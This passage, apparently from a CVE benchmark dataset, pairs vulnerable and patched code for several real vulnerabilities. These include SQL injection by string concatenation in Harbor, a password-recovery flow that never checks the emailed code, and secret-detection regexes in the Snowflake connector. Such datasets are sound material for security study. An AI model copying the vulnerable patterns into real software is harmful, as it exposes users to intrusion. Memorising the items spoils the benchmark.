Otherwise,\n                            # service() will add a new task after each request\n                            # has been processed\n                            self.server.add_task(self)\n                    self.request = None\n\n                if n >= len(data):\n                    break\n                data = data[n:]\n\n        return True"}], "vul_patch": "--- a/src/waitress/channel.py\n+++ b/src/waitress/channel.py\n@@ -8,6 +8,15 @@\n             return False\n \n         with self.requests_lock:\n+            # Don't bother processing anymore data if this connection is about\n+            # to close. This may happen if readable() returned True, on the\n+            # main thread before the service thread set the close_when_flushed\n+            # flag, and we read data but our service thread is attempting to\n+            # shut down the connection due to an error. We want to make sure we\n+            # do this while holding the request_lock so that we can't race\n+            if self.will_close or self.close_when_flushed:\n+                return False\n+\n             while data:\n                 if self.request is None:\n                     self.request = self.parser_class(self.adj)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-19029", "cve_description": "Cloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/goharbor/harbor", "patch_url": ["https://github.com/goharbor/harbor/commit/f007a62b04e3e9d279cf556804693685b961d3ec", "https://github.com/goharbor/harbor/commit/74bf03ca3afab3e88d498960566c87e6e7673a76"], "programing_language": "Go", "vul_func": [{"id": "vul_go_112_1", "commit": "e8554b9", "file_path": "src/common/dao/group/usergroup.go", "start_line": 102, "end_line": 120, "snippet": "func GetGroupIDByGroupName(groupName []string, groupType int) ([]int, error) {\n\tvar retGroupID []int\n\tvar conditions []string\n\tif len(groupName) == 0 {\n\t\treturn retGroupID, nil\n\t}\n\tfor _, gName := range groupName {\n\t\tcon := \"'\" + gName + \"'\"\n\t\tconditions = append(conditions, con)\n\t}\n\tsql := fmt.Sprintf(\"select id from user_group where group_name in ( %s ) and group_type = %v\", strings.Join(conditions, \",\"), groupType)\n\to := dao.GetOrmer()\n\tcnt, err := o.Raw(sql).QueryRows(&retGroupID)\n\tif err != nil {\n\t\treturn retGroupID, err\n\t}\n\tlog.Debugf(\"Found rows %v\", cnt)\n\treturn retGroupID, nil\n}"}], "fix_func": [{"id": "fix_go_112_1", "commit": "f007a62", "file_path": "src/common/dao/group/usergroup.go", "start_line": 101, "end_line": 115, "snippet": "func GetGroupIDByGroupName(groupName []string, groupType int) ([]int, error) {\n\tvar retGroupID []int\n\tif len(groupName) == 0 {\n\t\treturn retGroupID, nil\n\t}\n\tsql := fmt.Sprintf(\"select id from user_group where group_name in ( %s ) and group_type = ? \", dao.ParamPlaceholderForIn(len(groupName)))\n\tlog.Debugf(\"GetGroupIDByGroupName: statement sql is %v\", sql)\n\to := dao.GetOrmer()\n\tcnt, err := o.Raw(sql, groupName, groupType).QueryRows(&retGroupID)\n\tif err != nil {\n\t\treturn retGroupID, err\n\t}\n\tlog.Debugf(\"Found rows %v\", cnt)\n\treturn retGroupID, nil\n}"}], "vul_patch": "--- a/src/common/dao/group/usergroup.go\n+++ b/src/common/dao/group/usergroup.go\n@@ -1,16 +1,12 @@\n func GetGroupIDByGroupName(groupName []string, groupType int) ([]int, error) {\n \tvar retGroupID []int\n-\tvar conditions []string\n \tif len(groupName) == 0 {\n \t\treturn retGroupID, nil\n \t}\n-\tfor _, gName := range groupName {\n-\t\tcon := \"'\" + gName + \"'\"\n-\t\tconditions = append(conditions, con)\n-\t}\n-\tsql := fmt.Sprintf(\"select id from user_group where group_name in ( %s ) and group_type = %v\", strings.Join(conditions, \",\"), groupType)\n+\tsql := fmt.Sprintf(\"select id from user_group where group_name in ( %s ) and group_type = ? \", dao.ParamPlaceholderForIn(len(groupName)))\n+\tlog.Debugf(\"GetGroupIDByGroupName: statement sql is %v\", sql)\n \to := dao.GetOrmer()\n-\tcnt, err := o.Raw(sql).QueryRows(&retGroupID)\n+\tcnt, err := o.Raw(sql, groupName, groupType).QueryRows(&retGroupID)\n \tif err != nil {\n \t\treturn retGroupID, err\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-46128", "cve_description": "Nautobot is a Network Automation Platform built as a web application atop the Django Python framework with a PostgreSQL or MySQL database. In Nautobot 2.0.x, certain REST API endpoints, in combination with the `?depth=<N>` query parameter, can expose hashed user passwords as stored in the database to any authenticated user with access to these endpoints. The passwords are not exposed in plaintext. This vulnerability has been patched in version 2.0.3.\n\n", "cwe_info": {"CWE-312": {"name": "Cleartext Storage of Sensitive Information", "description": "The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere."}}, "repo": "https://github.com/nautobot/nautobot", "patch_url": ["https://github.com/nautobot/nautobot/commit/1ce8e5c658a075c29554d517cd453675e5d40d71"], "programing_language": "Python", "vul_func": [{"id": "vul_py_101_1", "commit": "896c10c", "file_path": "nautobot/core/api/utils.py", "start_line": "301", "end_line": "330", "snippet": "def nested_serializer_factory(relation_info, nested_depth):\n    \"\"\"\n    Return a NestedSerializer representation of a serializer field.\n    This method should only be called in build_nested_field()\n    in which relation_info and nested_depth are already given.\n    \"\"\"\n    nested_serializer_name = f\"Nested{nested_depth}{relation_info.related_model.__name__}\"\n    # If we already have built a suitable NestedSerializer we return the cached serializer.\n    # else we build a new one and store it in the cache for future use.\n    if nested_serializer_name in NESTED_SERIALIZER_CACHE:\n        field_class = NESTED_SERIALIZER_CACHE[nested_serializer_name]\n        field_kwargs = get_nested_relation_kwargs(relation_info)\n    else:\n        base_serializer_class = get_serializer_for_model(relation_info.related_model)\n\n        class NautobotNestedSerializer(base_serializer_class):\n            class Meta:\n                model = relation_info.related_model\n                is_nested = True\n                depth = nested_depth - 1\n                if hasattr(base_serializer_class.Meta, \"fields\"):\n                    fields = base_serializer_class.Meta.fields\n                if hasattr(base_serializer_class.Meta, \"exclude\"):\n                    exclude = base_serializer_class.Meta.exclude\n\n        NautobotNestedSerializer.__name__ = nested_serializer_name\n        NESTED_SERIALIZER_CACHE[nested_serializer_name] = NautobotNestedSerializer\n        field_class = NautobotNestedSerializer\n        field_kwargs = get_nested_relation_kwargs(relation_info)\n    return field_class, field_kwargs"}], "fix_func": [{"id": "fix_py_101_1", "commit": "1ce8e5c", "file_path": "nautobot/core/api/utils.py", "start_line": "301", "end_line": "325", "snippet": "def nested_serializer_factory(relation_info, nested_depth):\n    \"\"\"\n    Return a NestedSerializer representation of a serializer field.\n    This method should only be called in build_nested_field()\n    in which relation_info and nested_depth are already given.\n    \"\"\"\n    nested_serializer_name = f\"Nested{nested_depth}{relation_info.related_model.__name__}\"\n    # If we already have built a suitable NestedSerializer we return the cached serializer.\n    # else we build a new one and store it in the cache for future use.\n    if nested_serializer_name in NESTED_SERIALIZER_CACHE:\n        field_class = NESTED_SERIALIZER_CACHE[nested_serializer_name]\n        field_kwargs = get_nested_relation_kwargs(relation_info)\n    else:\n        base_serializer_class = get_serializer_for_model(relation_info.related_model)\n\n        class NautobotNestedSerializer(base_serializer_class):\n            class Meta(base_serializer_class.Meta):\n                is_nested = True\n                depth = nested_depth - 1\n\n        NautobotNestedSerializer.__name__ = nested_serializer_name\n        NESTED_SERIALIZER_CACHE[nested_serializer_name] = NautobotNestedSerializer\n        field_class = NautobotNestedSerializer\n        field_kwargs = get_nested_relation_kwargs(relation_info)\n    return field_class, field_kwargs"}], "vul_patch": "--- a/nautobot/core/api/utils.py\n+++ b/nautobot/core/api/utils.py\n@@ -14,14 +14,9 @@\n         base_serializer_class = get_serializer_for_model(relation_info.related_model)\n \n         class NautobotNestedSerializer(base_serializer_class):\n-            class Meta:\n-                model = relation_info.related_model\n+            class Meta(base_serializer_class.Meta):\n                 is_nested = True\n                 depth = nested_depth - 1\n-                if hasattr(base_serializer_class.Meta, \"fields\"):\n-                    fields = base_serializer_class.Meta.fields\n-                if hasattr(base_serializer_class.Meta, \"exclude\"):\n-                    exclude = base_serializer_class.Meta.exclude\n \n         NautobotNestedSerializer.__name__ = nested_serializer_name\n         NESTED_SERIALIZER_CACHE[nested_serializer_name] = NautobotNestedSerializer\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-46990", "cve_description": "Directus is a real-time API and App dashboard for managing SQL database content. When relying on blocking access to localhost using the default `0.0.0.0` filter a user may bypass this block by using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`). This issue has been addressed in release versions 10.13.3 and 11.1.0. Users are advised to upgrade. Users unable to upgrade may block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}, "CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/directus/directus", "patch_url": ["https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b", "https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff", "https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431", "https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_211_1", "commit": "c1f3ccc", "file_path": "api/src/middleware/respond.ts", "start_line": 14, "end_line": 98, "snippet": "export const respond: RequestHandler = asyncHandler(async (req, res) => {\n\tconst env = useEnv();\n\tconst logger = useLogger();\n\n\tconst { cache } = getCache();\n\n\tlet exceedsMaxSize = false;\n\n\tif (env['CACHE_VALUE_MAX_SIZE'] !== false) {\n\t\tconst valueSize = res.locals['payload'] ? stringByteSize(JSON.stringify(res.locals['payload'])) : 0;\n\t\tconst maxSize = parseBytesConfiguration(env['CACHE_VALUE_MAX_SIZE'] as string);\n\t\texceedsMaxSize = valueSize > maxSize;\n\t}\n\n\tif (\n\t\t(req.method.toLowerCase() === 'get' || req.originalUrl?.startsWith('/graphql')) &&\n\t\tenv['CACHE_ENABLED'] === true &&\n\t\tcache &&\n\t\t!req.sanitizedQuery.export &&\n\t\tres.locals['cache'] !== false &&\n\t\texceedsMaxSize === false\n\t) {\n\t\tconst key = getCacheKey(req);\n\n\t\ttry {\n\t\t\tawait setCacheValue(cache, key, res.locals['payload'], getMilliseconds(env['CACHE_TTL']));\n\t\t\tawait setCacheValue(cache, `${key}__expires_at`, { exp: Date.now() + getMilliseconds(env['CACHE_TTL'], 0) });\n\t\t} catch (err: any) {\n\t\t\tlogger.warn(err, `[cache] Couldn't set key ${key}. ${err}`);\n\t\t}\n\n\t\tres.setHeader('Cache-Control', getCacheControlHeader(req, getMilliseconds(env['CACHE_TTL']), true, true));\n\t\tres.setHeader('Vary', 'Origin, Cache-Control');\n\t} else {\n\t\t// Don't cache anything by default\n\t\tres.setHeader('Cache-Control', 'no-cache');\n\t\tres.setHeader('Vary', 'Origin, Cache-Control');\n\t}\n\n\tif (req.sanitizedQuery.export) {\n\t\tconst exportService = new ExportService({ accountability: req.accountability ?? null, schema: req.schema });\n\n\t\tlet filename = '';\n\n\t\tif (req.collection) {\n\t\t\tfilename += req.collection;\n\t\t} else {\n\t\t\tfilename += 'Export';\n\t\t}\n\n\t\tfilename += ' ' + getDateFormatted();\n\n\t\tif (req.sanitizedQuery.export === 'json') {\n\t\t\tres.attachment(`${filename}.json`);\n\t\t\tres.set('Content-Type', 'application/json');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'json'));\n\t\t}\n\n\t\tif (req.sanitizedQuery.export === 'xml') {\n\t\t\tres.attachment(`${filename}.xml`);\n\t\t\tres.set('Content-Type', 'text/xml');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'xml'));\n\t\t}\n\n\t\tif (req.sanitizedQuery.export === 'csv') {\n\t\t\tres.attachment(`${filename}.csv`);\n\t\t\tres.set('Content-Type', 'text/csv');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'csv'));\n\t\t}\n\n\t\tif (req.sanitizedQuery.export === 'yaml') {\n\t\t\tres.attachment(`${filename}.yaml`);\n\t\t\tres.set('Content-Type', 'text/yaml');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'yaml'));\n\t\t}\n\t}\n\n\tif (Buffer.isBuffer(res.locals['payload'])) {\n\t\treturn res.end(res.locals['payload']);\n\t} else if (res.locals['payload']) {\n\t\treturn res.json(res.locals['payload']);\n\t} else {\n\t\treturn res.status(204).end();\n\t}\n});"}], "fix_func": [{"id": "fix_js_211_1", "commit": "4aace0bbe57232e38cd6a287ee475293e46dc91b", "file_path": "api/src/middleware/respond.ts", "start_line": 14, "end_line": 99, "snippet": "export const respond: RequestHandler = asyncHandler(async (req, res) => {\n\tconst env = useEnv();\n\tconst logger = useLogger();\n\n\tconst { cache } = getCache();\n\n\tlet exceedsMaxSize = false;\n\n\tif (env['CACHE_VALUE_MAX_SIZE'] !== false) {\n\t\tconst valueSize = res.locals['payload'] ? stringByteSize(JSON.stringify(res.locals['payload'])) : 0;\n\t\tconst maxSize = parseBytesConfiguration(env['CACHE_VALUE_MAX_SIZE'] as string);\n\t\texceedsMaxSize = valueSize > maxSize;\n\t}\n\n\tif (\n\t\t(req.method.toLowerCase() === 'get' || req.originalUrl?.startsWith('/graphql')) &&\n\t\treq.originalUrl?.startsWith('/auth') === false &&\n\t\tenv['CACHE_ENABLED'] === true &&\n\t\tcache &&\n\t\t!req.sanitizedQuery.export &&\n\t\tres.locals['cache'] !== false &&\n\t\texceedsMaxSize === false\n\t) {\n\t\tconst key = getCacheKey(req);\n\n\t\ttry {\n\t\t\tawait setCacheValue(cache, key, res.locals['payload'], getMilliseconds(env['CACHE_TTL']));\n\t\t\tawait setCacheValue(cache, `${key}__expires_at`, { exp: Date.now() + getMilliseconds(env['CACHE_TTL'], 0) });\n\t\t} catch (err: any) {\n\t\t\tlogger.warn(err, `[cache] Couldn't set key ${key}. ${err}`);\n\t\t}\n\n\t\tres.setHeader('Cache-Control', getCacheControlHeader(req, getMilliseconds(env['CACHE_TTL']), true, true));\n\t\tres.setHeader('Vary', 'Origin, Cache-Control');\n\t} else {\n\t\t// Don't cache anything by default\n\t\tres.setHeader('Cache-Control', 'no-cache');\n\t\tres.setHeader('Vary', 'Origin, Cache-Control');\n\t}\n\n\tif (req.sanitizedQuery.export) {\n\t\tconst exportService = new ExportService({ accountability: req.accountability ?? null, schema: req.schema });\n\n\t\tlet filename = '';\n\n\t\tif (req.collection) {\n\t\t\tfilename += req.collection;\n\t\t} else {\n\t\t\tfilename += 'Export';\n\t\t}\n\n\t\tfilename += ' ' + getDateFormatted();\n\n\t\tif (req.sanitizedQuery.export === 'json') {\n\t\t\tres.attachment(`${filename}.json`);\n\t\t\tres.set('Content-Type', 'application/json');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'json'));\n\t\t}\n\n\t\tif (req.sanitizedQuery.export === 'xml') {\n\t\t\tres.attachment(`${filename}.xml`);\n\t\t\tres.set('Content-Type', 'text/xml');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'xml'));\n\t\t}\n\n\t\tif (req.sanitizedQuery.export === 'csv') {\n\t\t\tres.attachment(`${filename}.csv`);\n\t\t\tres.set('Content-Type', 'text/csv');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'csv'));\n\t\t}\n\n\t\tif (req.sanitizedQuery.export === 'yaml') {\n\t\t\tres.attachment(`${filename}.yaml`);\n\t\t\tres.set('Content-Type', 'text/yaml');\n\t\t\treturn res.status(200).send(exportService.transform(res.locals['payload']?.data, 'yaml'));\n\t\t}\n\t}\n\n\tif (Buffer.isBuffer(res.locals['payload'])) {\n\t\treturn res.end(res.locals['payload']);\n\t} else if (res.locals['payload']) {\n\t\treturn res.json(res.locals['payload']);\n\t} else {\n\t\treturn res.status(204).end();\n\t}\n});"}], "vul_patch": "--- a/api/src/middleware/respond.ts\n+++ b/api/src/middleware/respond.ts\n@@ -14,6 +14,7 @@\n \n \tif (\n \t\t(req.method.toLowerCase() === 'get' || req.originalUrl?.startsWith('/graphql')) &&\n+\t\treq.originalUrl?.startsWith('/auth') === false &&\n \t\tenv['CACHE_ENABLED'] === true &&\n \t\tcache &&\n \t\t!req.sanitizedQuery.export &&\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-49750", "cve_description": "The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Prior to version 3.12.3, when the logging level was set by the user to DEBUG, the Connector could have logged Duo passcodes (when specified via the `passcode` parameter) and Azure SAS tokens. Additionally, the SecretDetector logging formatter, if enabled, contained bugs which caused it to not fully redact JWT tokens and certain private key formats. Snowflake released version 3.12.3 of the Snowflake Connector for Python, which fixes the issue. In addition to upgrading, users should review their logs for any potentially sensitive information that may have been captured.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/snowflakedb/snowflake-connector-python", "patch_url": ["https://github.com/snowflakedb/snowflake-connector-python/commit/dbc9284a3c0382c131b971b35e8d6ab93c46f37a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_69_1", "commit": "7ddbf3175f05e0ec1410487938d6eed2f73539a8", "file_path": "src/snowflake/connector/secret_detector.py", "start_line": 22, "end_line": 53, "snippet": "class SecretDetector(logging.Formatter):\n    AWS_KEY_PATTERN = re.compile(\n        r\"(aws_key_id|aws_secret_key|access_key_id|secret_access_key)\\s*=\\s*'([^']+)'\",\n        flags=re.IGNORECASE,\n    )\n    AWS_TOKEN_PATTERN = re.compile(\n        r'(accessToken|tempToken|keySecret)\"\\s*:\\s*\"([a-z0-9/+]{32,}={0,2})\"',\n        flags=re.IGNORECASE,\n    )\n    SAS_TOKEN_PATTERN = re.compile(\n        r\"(sig|signature|AWSAccessKeyId|password|passcode)=(?P<secret>[a-z0-9%/+]{16,})\",\n        flags=re.IGNORECASE,\n    )\n    PRIVATE_KEY_PATTERN = re.compile(\n        r\"-----BEGIN PRIVATE KEY-----\\\\n([a-z0-9/+=\\\\n]{32,})\\\\n-----END PRIVATE KEY-----\",\n        flags=re.MULTILINE | re.IGNORECASE,\n    )\n    PRIVATE_KEY_DATA_PATTERN = re.compile(\n        r'\"privateKeyData\": \"([a-z0-9/+=\\\\n]{10,})\"', flags=re.MULTILINE | re.IGNORECASE\n    )\n    CONNECTION_TOKEN_PATTERN = re.compile(\n        r\"(token|assertion content)\" r\"([\\'\\\"\\s:=]+)\" r\"([a-z0-9=/_\\-\\+]{8,})\",\n        flags=re.IGNORECASE,\n    )\n\n    PASSWORD_PATTERN = re.compile(\n        r\"(password\"\n        r\"|pwd)\"\n        r\"([\\'\\\"\\s:=]+)\"\n        r\"([a-z0-9!\\\"#\\$%&\\\\\\'\\(\\)\\*\\+\\,-\\./:;<=>\\?\\@\\[\\]\\^_`\\{\\|\\}~]{1,})\",\n        flags=re.IGNORECASE,\n    )"}], "fix_func": [{"id": "fix_py_69_1", "commit": "dbc9284a3c0382c131b971b35e8d6ab93c46f37a", "file_path": "src/snowflake/connector/secret_detector.py", "start_line": 22, "end_line": 53, "snippet": "class SecretDetector(logging.Formatter):\n    AWS_KEY_PATTERN = re.compile(\n        r\"(aws_key_id|aws_secret_key|access_key_id|secret_access_key)\\s*=\\s*'([^']+)'\",\n        flags=re.IGNORECASE,\n    )\n    AWS_TOKEN_PATTERN = re.compile(\n        r'(accessToken|tempToken|keySecret)\"\\s*:\\s*\"([a-z0-9/+]{32,}={0,2})\"',\n        flags=re.IGNORECASE,\n    )\n    SAS_TOKEN_PATTERN = re.compile(\n        r\"(sig|signature|AWSAccessKeyId|password|passcode)=(?P<secret>[a-z0-9%/+]{16,})\",\n        flags=re.IGNORECASE,\n    )\n    PRIVATE_KEY_PATTERN = re.compile(\n        r\"-{3,}BEGIN [A-Z ]*PRIVATE KEY-{3,}\\n([\\s\\S]*?)\\n-{3,}END [A-Z ]*PRIVATE KEY-{3,}\",\n        flags=re.MULTILINE | re.IGNORECASE,\n    )\n    PRIVATE_KEY_DATA_PATTERN = re.compile(\n        r'\"privateKeyData\": \"([a-z0-9/+=\\\\n]{10,})\"', flags=re.MULTILINE | re.IGNORECASE\n    )\n    CONNECTION_TOKEN_PATTERN = re.compile(\n        r\"(token|assertion content)\" r\"([\\'\\\"\\s:=]+)\" r\"([a-z0-9=/_\\-\\+\\.]{8,})\",\n        flags=re.IGNORECASE,\n    )\n\n    PASSWORD_PATTERN = re.compile(\n        r\"(password\"\n        r\"|pwd)\"\n        r\"([\\'\\\"\\s:=]+)\"\n        r\"([a-z0-9!\\\"#\\$%&\\\\\\'\\(\\)\\*\\+\\,-\\./:;<=>\\?\\@\\[\\]\\^_`\\{\\|\\}~]{1,})\",\n        flags=re.IGNORECASE,\n    )"}], "vul_patch": "--- a/src/snowflake/connector/secret_detector.py\n+++ b/src/snowflake/connector/secret_detector.py\n@@ -12,14 +12,14 @@\n         flags=re.IGNORECASE,\n     )\n     PRIVATE_KEY_PATTERN = re.compile(\n-        r\"-----BEGIN PRIVATE KEY-----\\\\n([a-z0-9/+=\\\\n]{32,})\\\\n-----END PRIVATE KEY-----\",\n+        r\"-{3,}BEGIN [A-Z ]*PRIVATE KEY-{3,}\\n([\\s\\S]*?)\\n-{3,}END [A-Z ]*PRIVATE KEY-{3,}\",\n         flags=re.MULTILINE | re.IGNORECASE,\n     )\n     PRIVATE_KEY_DATA_PATTERN = re.compile(\n         r'\"privateKeyData\": \"([a-z0-9/+=\\\\n]{10,})\"', flags=re.MULTILINE | re.IGNORECASE\n     )\n     CONNECTION_TOKEN_PATTERN = re.compile(\n-        r\"(token|assertion content)\" r\"([\\'\\\"\\s:=]+)\" r\"([a-z0-9=/_\\-\\+]{8,})\",\n+        r\"(token|assertion content)\" r\"([\\'\\\"\\s:=]+)\" r\"([a-z0-9=/_\\-\\+\\.]{8,})\",\n         flags=re.IGNORECASE,\n     )\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-49750:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/snowflake-connector-python\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-49750/bin/python -m pytest test/unit/test_log_secret_detector.py  -k \"test_mask_token\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-49750:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/snowflake-connector-python\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-49750/bin/python -m pytest test/unit/test_log_secret_detector.py\n"}
{"cve_id": "CVE-2024-47768", "cve_description": "Lif Authentication Server is a server used by Lif to do various tasks regarding Lif accounts. This vulnerability has to do with the account recovery system where there does not appear to be a check to make sure the user has been sent the recovery email and entered the correct code. If the attacker knew the email of the target, they could supply the email and immediately prompt the server to update the password without ever needing the code. This issue has been patched in version 1.7.3.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/Lif-Platforms/Lif-Auth-Server", "patch_url": ["https://github.com/Lif-Platforms/Lif-Auth-Server/commit/8dbd7cad914a8b939451c652bfb716aa796f754e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_333_1", "commit": "2f7ea46", "file_path": "src/auth_server.py", "start_line": 227, "end_line": 241, "snippet": "async def log_out(response: Response):\n    \"\"\"\n    ## Logout Route For Lif Accounts\n    Handles the logout process for Lif Accounts.\n\n    ### Parameters:\n    none\n\n    ### Returns:\n    - **STRING:** Status of the operation.\n    \"\"\"\n    response.delete_cookie(key=\"LIF_USERNAME\", path=\"/\", domain=\".lifplatforms.com\")\n    response.delete_cookie(key=\"LIF_TOKEN\", path=\"/\", domain=\".lifplatforms.com\")\n\n    return \"Logout Successful\""}, {"id": "vul_py_333_2", "commit": "2f7ea46", "file_path": "src/auth_server.py", "start_line": 448, "end_line": 470, "snippet": "async def get_pfp(username: str):\n    \"\"\"\n    ## Get User Avatar (Profile Picture)\n    Allows services to get the avatar (profile picture) of a specified account. \n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The avatar the service requested.\n    \"\"\"\n    # Sanitize the username\n    filtered_username = re.sub(r'[^a-zA-Z1-9\\._]+', '', username)\n        \n    # Construct the file path using the sanitized username\n    avatar_path = f\"user_images/pfp/{filtered_username}\"\n\n    # Check if the file exists and is a regular file\n    if os.path.isfile(avatar_path):\n        return FileResponse(avatar_path, media_type='image/gif')\n    else:\n        # Return default image if the user's banner doesn't exist\n        return FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')"}, {"id": "vul_py_333_3", "commit": "2f7ea46", "file_path": "src/auth_server.py", "start_line": 474, "end_line": 496, "snippet": "async def get_banner(username: str):\n    \"\"\"\n    ## Get User Banner\n    Allows services to get the account banner of a specified account.\n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The banner the service requested.\n    \"\"\"\n    # Sanitize the username\n    filtered_username = re.sub(r'[^a-zA-Z1-9\\._]+', '', username)\n\n    # Construct the file path using the sanitized username\n    banner_path = f\"user_images/banner/{filtered_username}\"\n\n    # Check if the file exists and is a regular file\n    if os.path.isfile(banner_path):\n        return FileResponse(banner_path, media_type='image/gif')\n    else:\n        # Return default image if the user's banner doesn't exist\n        return FileResponse(f'{assets_folder}/default_banner.png', media_type='image/gif')"}, {"id": "vul_py_333_4", "commit": "2f7ea46", "file_path": "src/auth_server.py", "start_line": 649, "end_line": 700, "snippet": "async def account_recovery(websocket: WebSocket):\n    await websocket.accept()\n\n    # Stores email and code for later use\n    user_email = None\n    user_code = None\n\n    # Wait for client to send data\n    while True:\n        # Tries to receive data from client, if fails then the connection is closed\n        try:\n            data = await websocket.receive_json()\n\n            # Check what kind of data the client sent\n            if 'email' in data:\n                # Check email with database\n                if database.auth.check_email(data['email']):\n                    user_email = data['email']\n\n                    # Send recovery code to user\n                    user_code = mail_service.send_recovery_email(user_email)\n\n                    # Tell client email was received\n                    await websocket.send_json({\"responseType\": \"emailSent\", \"message\": \"Email sent successfully.\"})\n                else:\n                    # Tell client email is invalid\n                    await websocket.send_json({\"responseType\": \"error\", \"message\": \"Invalid Email!\"})\n                    \n            elif 'code' in data:\n                # Compare generated code with user provided code\n                if data['code'] == user_code:\n                    await websocket.send_json({\"responseType\": \"codeCorrect\", \"message\": \"Code validated successfully.\"})\n                else:\n                    await websocket.send_json({\"responseType\": \"error\", \"message\": \"Bad Code\"})\n                    \n            elif 'password' in data:\n                # Get password hash and gen salt\n                password_hash = hasher.get_hash_gen_salt(data['password'])\n\n                # Get username from email\n                username = database.get_username_from_email(user_email)\n\n                # Update password and salt in database\n                database.update.update_password(username, password_hash['password'])\n                database.update.update_user_salt(username, password_hash['salt'])\n\n                # Get user token\n                token = database.info.retrieve_user_token(username)\n\n                await websocket.send_json({\"responseType\": \"passwordUpdated\", \"username\": username, \"token\": token})\n            else:\n                await websocket.send_json({\"responseType\": \"error\", \"message\": \"Bad Request\"})"}], "fix_func": [{"id": "fix_py_333_1", "commit": "8dbd7cad914a8b939451c652bfb716aa796f754e", "file_path": "src/auth_server.py", "start_line": 228, "end_line": 263, "snippet": "async def log_out(response: Response, redirect = None):\n    \"\"\"\n    ## Logout Route For Lif Accounts\n    Handles the logout process for Lif Accounts.\n\n    ### Parameters:\n    none\n\n    ### Query Parameters\n    - **redirect:** url to redirect to after the logout completes.\n\n    ### Returns:\n    - **STRING:** Status of the operation.\n    \"\"\"\n    response.delete_cookie(key=\"LIF_USERNAME\", path=\"/\", domain=\".lifplatforms.com\")\n    response.delete_cookie(key=\"LIF_TOKEN\", path=\"/\", domain=\".lifplatforms.com\")\n\n    # Create a RedirectResponse\n    redirect_response = RedirectResponse(url=redirect)\n\n    # Copy the cookies from the response to the redirect response\n    for cookie in response.headers.getlist(\"set-cookie\"):\n        redirect_response.headers.append(\"set-cookie\", cookie)\n\n    if redirect != None:\n        # Check to ensure redirect URL goes to a Lif Platforms domain\n        extracted = tldextract.extract(redirect)\n        domain = f\"{extracted.domain}.{extracted.suffix}\"\n\n        if domain == \"lifplatforms.com\":\n            return redirect_response\n        else:\n            print(domain)\n            raise HTTPException(status_code=400, detail=\"Untrusted redirect url.\")\n    else:\n        return \"Log Out Successful\""}, {"id": "fix_py_333_2", "commit": "8dbd7cad914a8b939451c652bfb716aa796f754e", "file_path": "src/auth_server.py", "start_line": 470, "end_line": 497, "snippet": "async def get_pfp(username: str):\n    \"\"\"\n    ## Get User Avatar (Profile Picture)\n    Allows services to get the avatar (profile picture) of a specified account. \n    \n    ### Parameters:\n    - **username (str):** The username for the account.\n\n    ### Returns:\n    - **file:** The avatar the service requested.\n    \"\"\"\n    # Sanitize the username\n    filtered_username = re.sub(r'[^a-zA-Z1-9\\._]+', '', username)\n        \n    # Construct the file path using the sanitized username\n    avatar_path = f\"user_images/pfp/{filtered_username}\"\n\n    # Check if the file exists and is a regular file\n    if os.path.isfile(avatar_path):\n        response = FileResponse(avatar_path, media_type='image/gif')\n    else:\n        # Return default image if the user's banner doesn't exist\n        response = FileResponse(f'{assets_folder}/default_pfp.png', media_type='image/gif')\n\n    # Add 